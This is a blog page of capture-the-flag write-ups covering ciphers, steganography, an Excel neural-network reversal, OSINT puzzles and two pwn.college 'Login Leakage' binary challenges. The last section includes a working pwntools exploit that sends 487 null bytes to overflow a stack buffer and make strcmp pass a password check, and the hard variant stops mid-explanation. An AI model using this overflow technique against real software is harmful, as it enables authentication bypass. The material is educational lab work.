Hello Navi

Tech, Security & Personal Notes

There's a spy amongst us! We found one of their messages, but can't seem to crack it. For some reason, they wrote the message down twice.

The challenge provides two large blocks of ciphertext, both starting with what appears to be an encrypted flag.

Solution

1. Identifying the Cipher

We are given two different ciphertexts that supposedly represent the same message. This immediately suggests a polyalphabetic substitution cipher, most likely Vigenere, where different parts of the key are being applied to the same plaintext.

2. Deducing the Key Prefix

We know that the flags in this CTF follow the format texsaw{...}. By comparing the ciphertext prefixes with the known plaintext texsaw, we can calculate the key characters used at the start of each block (\(Key = Ciphertext - Plaintext\)).

Block 1 Prefix (twhsnz):

  • t - t = A (0)
  • w - e = S (18)
  • h - x = K (10)
  • s - s = A (0)
  • n - a = N (13)
  • z - w = D (3)
  • Key Prefix: ASKAND

Block 2 Prefix (brassg):

  • b - t = I (8)
  • r - e = N (13)
  • a - x = D (3)
  • s - s = A (0)
  • s - a = S (18)
  • g - w = K (10)
  • Key Prefix: INDASK

3. Recovering the Full Key

The fragments ASKAND and INDASK strongly suggest a famous quote from the Bible (Matthew 7:7):

"Ask, and it shall be given you; seek, and ye shall find: ask, and..."

By removing spaces and punctuation, we derive the full 41-character repeating key: ASKANDITSHALLBEGIVENYOUSEEKANDYESHALLFIND

4. Decrypting the Message

Using the recovered key, we can decrypt the rest of the message. The first message block uses an offset of 0, while the second block starts at a different position in the key loop.

Decryption reveals a message from a spy:

"they know im here, and its only a matter of time before they find out who i am. tell the general what the flag is as soon as possible..."

The signature at the bottom, - john cairncross, refers to the real-life British intelligence officer who was a double agent for the Soviet Union during World War II.

5. Extracting the Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def vigenere_decrypt(ct, key, offset=0):
res = ""
k_idx = offset
key = key.lower()
for char in ct:
if "a" <= char <= "z":
shift = ord(key[k_idx % len(key)]) - ord("a")
res += chr((ord(char) - ord("a") - shift) % 26 + ord("a"))
k_idx += 1
elif "A" <= char <= "Z":
shift = ord(key[k_idx % len(key)]) - ord("a")
res += chr((ord(char) - ord("A") - shift) % 26 + ord("A"))
k_idx += 1
else:
res += char
# k_idx is NOT incremented for non-alpha
return res


key = "askanditshallbegivenyouseekandyeshallfind"

ct1 = "twhsnz{tngqmqdhqqygxrloyehuvxtwwvxklkiiudpxqcvqhbmkepledu}"
ct2 = "brassg{lhrrfxzgxvrpzmierkrkdbkdyeibpredxbrflvvvotgvfisacb}"

# just loop and try offset
print("CT1:", vigenere_decrypt(ct1, key, 0))

print("CT2:", vigenere_decrypt(ct2, key, 38))

msg1 = """zpzc xlcq aq lorr, dlh aas zyqg n paldee rn mate mpgsxm olrw tcfh set jkm m st.
tpwq buh gwxeedt pzht esf jrib mf yg mgsr ks crqwailp.
ejty whw qeahztd ieqzsi zpzc sgbx gyx ghruc me oiotso!
vi adv gbha pwsl, t'wm qkmo cbs on gyv pievr qwlttyl tbfalsoa wwfgyrzh bx sqyrvevn.
eeoo shuc cgb'rp ytb srldywrg

x.l. loe xzwmk "qhmgyhcgr kkmr" lq zwyy rztl. lru krohol psacs tu anmi cbs quf.
- nsrn pdgvfjrzdx
"""

print("\nMessage 1:")
print(vigenere_decrypt(msg1, key, 15))

Flag

texsaw{luojmfsgmkqltenaemdqlxgtyrfdlzxdmqmxysvdettsxpatcq}

I can't find my original house key anywhere! Can you help me find it? Here's a picture of my keys the nanny took before they were lost. It must be hidden somewhere!

Flag format: texsaw{flag_here}

Solution

1. Extracting Hidden Files

Using binwalk, we can identify and extract any embedded files:

1
❯ binwalk -e Temoc_keyring.png

After extraction, we have two similar images:

  1. Temoc_keyring(orig).png
  2. where_are_my_keys.png

Checking them with pngcheck confirms they are both valid, but their file sizes and compression ratios differ.

2. Pixel Comparison

At first glance, the two images appear identical. However, the difference in file size suggests that data might be hidden in the pixel values themselves. We can use a Python script with the Pillow library to compare them:

1
2
3
4
5
6
7
8
9
10
from PIL import Image

img1 = Image.open('Temoc_keyring(orig).png').convert("RGB")
img2 = Image.open('where_are_my_keys.png').convert("RGB")

width, _ = img1.size

# Check the first row for differences
diff_indices = [x for x in range(width) if img1.getpixel((x, 0)) != img2.getpixel((x, 0))]
print(f"Differences found at X coordinates: {diff_indices}")

Running this reveals exactly 131 differing pixels, all located within the very first row (y = 0).

4. Decoding the Steganography

The pattern of differing pixels suggests a binary encoding. We can treat each pixel in the first row as a bit:

  • Bit 1: If the pixels at (x, 0) are different.
  • Bit 0: If the pixels at (x, 0) are identical.

We then group these bits into 8-bit bytes and convert them to ASCII characters to reveal the flag.

Extraction Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image

img1 = Image.open('Temoc_keyring(orig).png').convert("RGB")
img2 = Image.open('where_are_my_keys.png').convert("RGB")

bits = []
for x in range(img1.size[0]):
if img1.getpixel((x, 0)) != img2.getpixel((x, 0)):
bits.append(1)
else:
bits.append(0)

# Convert bits to bytes and then to ASCII
flag = ""
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
char_code = int("".join(map(str, byte)), 2)
if char_code == 0: break
flag += chr(char_code)

print(f"Flag: {flag}")

Flag

texsaw{you_found_me_at_key}

Find the flag by reverse engineering this neural network. Oh, and its in Excel.

Flag format: texsaw{flag} (e.g., texsaw{orthogonal})

前置知识

本题涉及神经网络逆向工程,且模型实现在 Excel 电子表格中。以下概念有助于理解:

概念 说明
前馈神经网络 输入层→隐藏层→输出层,数据逐层前向传递
ReLU f(x)=max(0,x),负输入→零输出(关键逻辑门控!)
Sigmoid σ(x)=1/(1+e^{-x}),输出映射到 (0,1),>0.5 表示正输入
权重与偏置 网络参数,本例中 W1 是极端稀疏的 +1/-1 矩阵
Excel 逆向 .xlsx 本质是 ZIP,内部 XML 含公式与数据
前向传播公式 ASCII/127 × weight + bias = 0 ⇒ ASCII = round(-bias × 127 / weight)

参考:Excel NN 教程hxp EXCELlent

Solution

1. Understanding the Success Condition

Examining the spreadsheet, specifically Row 112, we find the conditions for a valid flag: - F > 0.5, L < 0.5, A > 0.5, G < 0.5

Since the output layer uses a Sigmoid activation function: - To get output > 0.5, the input to the sigmoid (z3) must be positive (> 0). - To get output < 0.5, the input to the sigmoid (z3) must be negative (< 0).

Analyzing the final weights (W3) and biases (b3), we find that all weights in W3 are large (300 or -300) and the biases are small (between 0.49 and 0.59). For these specific constraints to be met, the output of Layer 2 (a2) must be an extremely small positive number, very close to zero.

2. Reverse-Engineering Layer 2

Layer 2 uses the ReLU activation function: a2 = ReLU(z2), where z2 = sum(a1 * W2) + b2.

Key observations: - All weights in W2 are negative (e.g., -0.954667). - The bias b2 is a very small positive number (approx. 1/254). - a1 is the output of Layer 1's ReLU, so a1 >= 0.

If any value in a1 is a positive number, its product with the negative weights in W2 will likely make z2 negative, resulting in a2 = 0 (via ReLU). To maintain that tiny positive value for a2, we conclude that all activation values in a1 must be forced to zero.

3. Analyzing Layer 1

To force a1 = 0, we must ensure that z1 = x * W1 + b1 <= 0 for all neurons in the first layer.

Looking closely at the biases (b1), they appear to be "random" decimals: - h1[0] = -0.795276 - h1[3] = -0.90551 - h1[12] = -0.968504 - h1[23] = 0.91339

If we multiply these values by 127 (the maximum standard ASCII value), they resolve into integers. This reveals that W1 and b1 are essentially implementing boundary checks for each character of the input string.

Converting these non-zero biases back to ASCII: - -0.795276 * 127 \(\approx\) -101 \(\rightarrow\) e - -0.90551 * 127 \(\approx\) -115 \(\rightarrow\) s - -0.968504 * 127 \(\approx\) -123 \(\rightarrow\) { - 0.91339 * 127 \(\approx\) 116 \(\rightarrow\) t

4. Reconstructing the Flag

Extracting all valid b1 values and converting them yields a multiset of 22 characters: t, e, x, s, a, w, {, }, s, v, r, r, r, 3, 3, 3, 3, _, n, l, 4, u

We know the flag format is texsaw{flag}. Removing the wrapper characters (t, e, x, s, a, w, {, }), we are left with: s, v, r, r, r, 3, 3, 3, 3, _, n, l, 4, u

Rearranging these characters (Leetspeak for "neural reverse") gives us the inner flag content.

Flag

texsaw{n3ur4l_r3v3rs3}

This chall's got a bit of history to it.

First, crack this initial cryptogram. Now, apply OSINT tools to find who authors that original script.

Flag format: txsaw{first_last} (e.g., txsaw{john_scalzi})

Solution

1. Cryptanalysis: Substitution Cipher

The challenge begins with a large block of ciphertext:

1
Azza wfahv ztu. N rnvy, bndfah na zbfaztv vztak, n vztak ndfa uz n dcnqza zw n uzlvfa, icfuv nmztu...

Using frequency analysis or an automated tool like quipqiup, we can determine that this is a simple substitution cipher. The decoded plaintext is:

Noon rings out. A wasp, making an ominous sound, a sound akin to a klaxon or a tocsin, flits about. Augustus, who has had a bad night, sits up blinking and purblind. Oh what was that word (is his thought) that ran through my brain all night, that idiotic word that, hard as I'd try to pun it down, was always just an inch or two out of my grasp...

2. OSINT: Identifying the Source

The title of the challenge, "Idiosyncratic French", and the nature of the decoded text provide vital clues.

Searching for the decoded string—specifically unique phrases like "A wasp, making an ominous sound, a sound akin to a klaxon or a tocsin"—reveals that this is an excerpt from the novel "A Void".

3. The "Idiosyncrasy": Lipograms

What makes this text "idiosyncratic"? "A Void" is the English translation of the French novel "La Disparition". The defining characteristic (idiosyncrasy) of both the original and the translation is that they are lipograms: they are written entirely without the letter "e".

4. Finding the Author

The author of the original French novel, La Disparition, is the famous French writer Georges Perec.

Flag

txsaw{georges_perec}

D'oh, I overslept and missed most of the race! But wait, my friend took a picture while I was out, but I can't tell who's in the lead. Can you help me figure out the two cars that are in the lead? Usually they like to twin around this time of night...

Flag format: texsaw{num1_num2} (e.g., texsaw{21_44})

Analysis

1. Image Metadata (EXIF)

Analyzing the provided image (or the metadata extracted from it) reveals several critical data points:

Attribute Value Analysis
Camera Model Samsung Galaxy S24 Ultra High-end mobile sensor, likely captured with 3x optical zoom.
Date/Time 2026:01:24 22:14:12 Captured during the night of January 24th, 2026.
GPS Latitude 29° 11' 4.79" N Geolocation leads to Florida, USA.
GPS Longitude 81° 4' 28.43" W Specifically, the Daytona International Speedway.
Exposure 1/30s, f/2.4, ISO 320 Nighttime setting with motion blur, typical of racetrack photography.

2. Event Identification

Plugging the coordinates and the date into a search engine confirms the event: The 2026 Rolex 24 at Daytona.

This is a premier 24-hour endurance race held annually in late January at the Daytona International Speedway. The timestamp (10:14 PM EST on Saturday) puts the photograph roughly 8-9 hours into the 24-hour race.

3. The "Twinning" Clue

The challenge description mentions: "Usually they like to twin around this time of night..."

In the context of the IMSA WeatherTech SportsCar Championship (which runs the Rolex 24), "twinning" refers to teammate cars running in close formation. During the 2026 season, the Porsche Penske Motorsport team, running the Porsche 963 in the GTP class, was famous for their identical "mirror" liveries and consistent pace that often saw them running 1-2 on the track.

The two Porsche Penske cars are:

  • Car #6
  • Car #7

4. Verification

Looking at the race leaders during the night shift of the 2026 Rolex 24, the #6 and #7 Porsche 963s were indeed dominant. To distinguish them at night, teams use colored LED "Lumirank" displays:

  • Car #7: Blue LED
  • Car #6: Red LED

The "twinning" behavior is a signature of the Penske Porsches as they manage the gap and maintain the lead together.

Flag

just try 6 first or 7 first

texsaw{6_7}

Check out our IRC server and run the command /motd!

Server: irc.texsaw.org

Solution

To solve this challenge, we need to connect to the texSAW IRC server and view the "Message of the Day" (MOTD), which is a common place for CTF organizers to hide initial information or rules.

1. Install an IRC Client

1
2
3
4
# I use Arch BTW
paru -S weechat
# or
paru -S irssi

2. Connect to the Server

Launch your client and add the TexSAW server to your configuration. This makes it easier to reconnect later.

1
2
3
# Example using irssi
/server add texsaw irc.texsaw.org
/connect texsaw

3. Find the Flag

Once you've successfully connected, the server will usually send the MOTD automatically. If you miss it, manually request it with the following command:

1
2
/motd
# texsaw{w31c0M3_t0_t3xSAW_2O26!}

Useful IRC Commands

While you're on the server, you might want to join the discussion or interact with other participants:

  • /nick [new_nick]: Change your current nickname.

or

1
2
/set irc.server_default.nicks comma,separated,list,of,nicks
/set irc.server.[SERVER_NAME].nicks "
  • /list: List all available channels on the server.
  • /join #general: Join the official general discussion channel.
  • /whois [nick]: View information about a specific user.
  • /msg [nick] [message]: Send a private message (useful for contacting admins).
  • /part #[channel]: Leave a specific channel.
  • /quit: Disconnect from the server and close your session.

Flag

texsaw{w31c0M3_t0_t3xSAW_2O26!}

Login Leakage (Easy)

Leverage memory corruption to satisfy a simple constraint

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
hacker@program-security~login-leakage-easy:~$ /challenge/login-leakage-easy
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffca2408530 (RSP+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408538 (RSP+0x0008) | 98 98 40 a2 fc 7f 00 00 | 0x00007ffca2409898 |
| 0x00007ffca2408540 (RSP+0x0010) | 88 98 40 a2 fc 7f 00 00 | 0x00007ffca2409888 |
| 0x00007ffca2408548 (RSP+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 |
| 0x00007ffca2408550 (RSP+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408558 (RSP+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408560 (RSP+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408568 (RSP+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408570 (RSP+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408578 (RSP+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408580 (RSP+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408588 (RSP+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408590 (RSP+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408598 (RSP+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085a0 (RSP+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085a8 (RSP+0x0078) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085b0 (RSP+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085b8 (RSP+0x0088) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085c0 (RSP+0x0090) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085c8 (RSP+0x0098) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085d0 (RSP+0x00a0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085d8 (RSP+0x00a8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085e0 (RSP+0x00b0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085e8 (RSP+0x00b8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085f0 (RSP+0x00c0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24085f8 (RSP+0x00c8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408600 (RSP+0x00d0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408608 (RSP+0x00d8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408610 (RSP+0x00e0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408618 (RSP+0x00e8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408620 (RSP+0x00f0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408628 (RSP+0x00f8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408630 (RSP+0x0100) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408638 (RSP+0x0108) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408640 (RSP+0x0110) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408648 (RSP+0x0118) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408650 (RSP+0x0120) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408658 (RSP+0x0128) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408660 (RSP+0x0130) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408668 (RSP+0x0138) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408670 (RSP+0x0140) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408678 (RSP+0x0148) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408680 (RSP+0x0150) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408688 (RSP+0x0158) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408690 (RSP+0x0160) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408698 (RSP+0x0168) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086a0 (RSP+0x0170) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086a8 (RSP+0x0178) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086b0 (RSP+0x0180) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086b8 (RSP+0x0188) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086c0 (RSP+0x0190) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086c8 (RSP+0x0198) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086d0 (RSP+0x01a0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086d8 (RSP+0x01a8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086e0 (RSP+0x01b0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086e8 (RSP+0x01b8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086f0 (RSP+0x01c0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca24086f8 (RSP+0x01c8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408700 (RSP+0x01d0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408708 (RSP+0x01d8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408710 (RSP+0x01e0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408718 (RSP+0x01e8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408720 (RSP+0x01f0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408728 (RSP+0x01f8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408730 (RSP+0x0200) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408738 (RSP+0x0208) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffca2408740 (RSP+0x0210) | 00 00 00 00 00 00 25 0c | 0x0c25000000000000 |
| 0x00007ffca2408748 (RSP+0x0218) | d5 3c 61 40 cb d1 00 00 | 0x0000d1cb40613cd5 |
| 0x00007ffca2408750 (RSP+0x0220) | 00 82 64 58 27 60 00 00 | 0x0000602758648200 |
| 0x00007ffca2408758 (RSP+0x0228) | 80 98 40 a2 03 00 00 00 | 0x00000003a2409880 |
| 0x00007ffca2408760 (RSP+0x0230) | 90 97 40 a2 fc 7f 00 00 | 0x00007ffca2409790 |
| 0x00007ffca2408768 (RSP+0x0238) | c0 8c 64 58 27 60 00 00 | 0x0000602758648cc0 |
+---------------------------------+-------------------------+--------------------+
  • Input buffer 起始地址: 0x7ffca2408560
  • Password 起始地址: 0x7ffca2408746
  • Offset: 0x7ffca2408746 - 0x7ffca2408560 = 0x1E6 (486 bytes)

先看距离,再看比较逻辑。ltrace 直接把关键点抖出来了:

1
strcmp("123123\n", "n`\322\232\024\t[,") = -61

程序直接调用标准库里的 strcmp 来比较输入和随机生成的密码。strcmp 比较字符串时,一遇到 null terminator (\x00) 就会停止

既然题目不仅禁用了 canary (stack protector),还允许你输入任意长度的 payload,底层大概率就是 read() 这种可以读入 \x00 的接口,而不是会截断的 scanf。所以这里根本不用猜密码,直接用 null byte injection (空字节注入) 让判断逻辑失效就行。

  1. 如果我们在 input 的第一个字节就写入 \x00strcmp 就会认为我们的输入是一个空字符串 ""
  2. 因为存在 buffer overflow,我们可以一路把 \x00 填充过去,跨越那 486 bytes 的距离,顺便把目标 password 的第一个字节也覆盖成 \x00
  3. 这样一来,passwordstrcmp 眼里也变成了空字符串 ""

strcmp("", "") == 0,密码校验直接 pass。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/login-leakage-easy')

# 486 bytes 的 \x00 用来填满 buffer,同时让 input 变成空字符串 ""
# 第 487 个 byte 的 \x00 用来精准覆盖 password 的第一个字节,让它也变成 ""
payload = b'\x00' * 487

p.sendline(str(len(payload)).encode())
p.sendline(payload)

p.interactive()
pwn.college{wthFhdGjaeJBEazRhx2KFtz8tF5.QXwgzN4EDL4cjM1gzW}

Login Leakage (Hard)

Leverage memory corruption to satisfy a simple constraint

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
r2 -A -q -c "pdf @ sym.challenge" /challenge/login-leakage-hard
; CALL XREF from main @ 0x16ff(x)
┌ 396: sym.challenge (int64_t arg1, int64_t arg2, int64_t arg3);
│ `- args(RDI, RSI, RDX) vars(7:sp[0xc..0x1e0])
│ 0x000014f2 f30f1efa endbr64
│ 0x000014f6 55 push RBP
│ 0x000014f7 4889e5 mov RBP, RSP
│ 0x000014fa 4881ece001.. sub RSP, 0x1e0
│ 0x00001501 89bd3cfeffff mov dword [var_1c4h], edi ; arg1
│ 0x00001507 4889b530fe.. mov qword [var_1d0h], RSI ; arg2
│ 0x0000150e 48899528fe.. mov qword [var_1d8h], RDX ; arg3
│ 0x00001515 488d9550fe.. lea RDX, [path]
│ 0x0000151c b800000000 mov eax, 0
│ 0x00001521 b933000000 mov ecx, 0x33 ; '3'
│ 0x00001526 4889d7 mov RDI, RDX
│ 0x00001529 f348ab rep stosq qword [RDI], RAX
│ 0x0000152c 4889fa mov RDX, RDI
│ 0x0000152f 668902 mov word [RDX], ax
│ 0x00001532 4883c202 add RDX, 2
│ 0x00001536 be00000000 mov esi, 0 ; int oflag
│ 0x0000153b 488d3dca0b.. lea RDI, str._dev_urandom ; 0x210c ; "/dev/urandom" ; const char *path
│ 0x00001542 b800000000 mov eax, 0
│ 0x00001547 e854fcffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x0000154c 8945fc mov dword [fildes], eax
│ 0x0000154f 488d8550fe.. lea RAX, [path]
│ 0x00001556 488d889201.. lea RCX, [RAX + 0x192]
│ 0x0000155d 8b45fc mov eax, dword [fildes]
│ 0x00001560 ba08000000 mov edx, 8 ; size_t nbyte
│ 0x00001565 4889ce mov RSI, RCX ; void *buf
│ 0x00001568 89c7 mov edi, eax ; int fildes
│ 0x0000156a e801fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x0000156f 8b45fc mov eax, dword [fildes]
│ 0x00001572 89c7 mov edi, eax ; int fildes
│ 0x00001574 e8e7fbffff call sym.imp.close ; int close(int fildes)
│ 0x00001579 48c78548fe.. mov qword [nbyte], 0
│ 0x00001584 488d3d8e0b.. lea RDI, str.Payload_size: ; 0x2119 ; "Payload size: " ; const char *format
│ 0x0000158b b800000000 mov eax, 0
│ 0x00001590 e8abfbffff call sym.imp.printf ; int printf(const char *format)
│ 0x00001595 488d8548fe.. lea RAX, [nbyte]
│ 0x0000159c 4889c6 mov RSI, RAX
│ 0x0000159f 488d3d820b.. lea RDI, [0x00002128] ; "%lu" ; const char *format
│ 0x000015a6 b800000000 mov eax, 0
│ 0x000015ab e800fcffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x000015b0 488b8548fe.. mov RAX, qword [nbyte]
│ 0x000015b7 4889c6 mov RSI, RAX
│ 0x000015ba 488d3d6f0b.. lea RDI, str.Send_your_payload__up_to__lu_bytes___n ; 0x2130 ; "Send your payload (up to %lu bytes)!\n" ; const char *format
│ 0x000015c1 b800000000 mov eax, 0
│ 0x000015c6 e875fbffff call sym.imp.printf ; int printf(const char *format)
│ 0x000015cb 488b9548fe.. mov RDX, qword [nbyte] ; size_t nbyte
│ 0x000015d2 488d8550fe.. lea RAX, [path]
│ 0x000015d9 4889c6 mov RSI, RAX ; void *buf
│ 0x000015dc bf00000000 mov edi, 0 ; int fildes
│ 0x000015e1 e88afbffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x000015e6 8945f8 mov dword [var_8h], eax
│ 0x000015e9 837df800 cmp dword [var_8h], 0
│ ┌─< 0x000015ed 792c jns 0x161b
│ │ 0x000015ef e81cfbffff call sym.imp.__errno_location
│ │ 0x000015f4 8b00 mov eax, dword [RAX]
│ │ 0x000015f6 89c7 mov edi, eax ; int errnum
│ │ 0x000015f8 e8d3fbffff call sym.imp.strerror ; char *strerror(int errnum)
│ │ 0x000015fd 4889c6 mov RSI, RAX
│ │ 0x00001600 488d3d510b.. lea RDI, str.ERROR:_Failed_to_read_input_____s__n ; 0x2158 ; "ERROR: Failed to read input -- %s!\n" ; const char *format
│ │ 0x00001607 b800000000 mov eax, 0
│ │ 0x0000160c e82ffbffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x00001611 bf01000000 mov edi, 1 ; int status
│ │ 0x00001616 e8a5fbffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.challenge @ 0x15ed(x)
│ └─> 0x0000161b 488d8550fe.. lea RAX, [path]
│ 0x00001622 488d909201.. lea RDX, [RAX + 0x192]
│ 0x00001629 488d8550fe.. lea RAX, [path]
│ 0x00001630 4889d6 mov RSI, RDX ; const char *s2
│ 0x00001633 4889c7 mov RDI, RAX ; const char *s1
│ 0x00001636 e845fbffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ 0x0000163b 85c0 test eax, eax
│ ┌─< 0x0000163d 7416 je 0x1655
│ │ 0x0000163f 488d3d3a0b.. lea RDI, str.Password_check_failed__Exiting_ ; 0x2180 ; "Password check failed! Exiting!" ; const char *s
│ │ 0x00001646 e8d5faffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x0000164b bf01000000 mov edi, 1 ; int status
│ │ 0x00001650 e86bfbffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.challenge @ 0x163d(x)
│ └─> 0x00001655 488d3d440b.. lea RDI, str.Password_check_passed_ ; 0x21a0 ; "Password check passed!" ; const char *s
│ 0x0000165c e8bffaffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001661 b800000000 mov eax, 0
│ 0x00001666 e880fdffff call sym.win
│ 0x0000166b 488d3d450b.. lea RDI, str.Goodbye_ ; 0x21b7 ; "Goodbye!" ; const char *s
│ 0x00001672 e8a9faffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001677 b800000000 mov eax, 0
│ 0x0000167c c9 leave
└ 0x0000167d c3 ret

这一题和 Easy 本质一样,还是利用 strcmp 的字符串终止规则,只是需要先从反汇编里把布局自己抠出来。

  1. 随机密码生成逻辑 (0x154f - 0x156a):
    • lea RAX, [path]:加载 path 缓冲区的基地址。
    • lea RCX, [RAX + 0x192]:计算出目标地址 path + 0x192
    • call sym.imp.read:从 /dev/urandom 读取 8 bytes 写入到 path + 0x192
    • 结论:真正的密码存放位置是相对于你输入缓冲区的偏移量 0x192 处。
  2. 输入控制权交接 (0x159f - 0x15ab):
    • 程序用 scanf("%lu") 让你自己输入后续要读取的 Payload size (nbyte)。没有做任何边界检查 (bounds checking),很典型的代码。
  3. buffer overflow 发生地 (0x15d2 - 0x15e1):
    • mov RSI, RAX (其中 RAX 是 path 的地址)
    • call sym.imp.read:从标准输入 (fd=0) 读取你指定长度 (nbyte) 的数据,直接怼进 path 的头部。
  4. 致命的比较 (0x161b - 0x1636):
    • mov RDI, RAX (s1 = path)
    • mov RSI, RDX (s2 = path + 0x192)
    • call sym.imp.strcmp:程序居然又用了 strcmp

利用思路:

